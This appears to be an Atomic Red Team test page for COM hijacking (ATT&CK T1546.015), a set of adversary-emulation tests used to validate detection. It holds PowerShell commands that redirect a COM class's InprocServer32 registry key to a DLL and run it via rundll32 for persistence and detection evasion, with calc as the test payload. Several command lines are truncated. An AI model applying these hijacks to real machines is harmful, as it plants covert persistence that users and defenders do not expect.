T1546.015 - Component Object Model Hijacking

Description from ATT&CK

> Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.
> Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Atomic Tests

- Atomic Test #1 - COM Hijacking - InprocServer32
- Atomic Test #2 - Powershell Execute COM Object
- Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)

Atomic Test #1 - COM Hijacking - InprocServer32

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/

Supported Platforms: Windows

auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b

Inputs:

Name	Description	Type	Default Value
clsid_threading	Threading Model	string	Apartment
dllpath	Path to the DLL.	String	$env:TEMP\AtomicTest.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with `powershell`!

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_d
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -V
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServ
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList
```

Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -Erro
```

Dependencies: Run with `powershell`!

Description: DLL For testing

Check Prereq Commands:

```
if (Test-Path #{dllpath}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

Atomic Test #2 - Powershell Execute COM Object

Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/

Supported Platforms: Windows

auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb

Attack Commands: Run with `powershell`!

```
$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-
$item = $o.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\wind
```

Cleanup Commands:

```
Get-Process -Name "*calc" | Stop-Process
```

Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/ Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.

Supported Platforms: Windows

auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0

Inputs:

Name	Description	Type	Default Value
clsid_threading	Threading Model	string	Both
dll_path	Path to the DLL.	String	$env:temp\T1546.015_calc.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with `powershell`!

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_d
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -V
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServ
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList
```

Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -Erro
```

Dependencies: Run with `powershell`!

Description: DLL For testing

Check Prereq Commands:

```
if (Test-Path #{dll_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```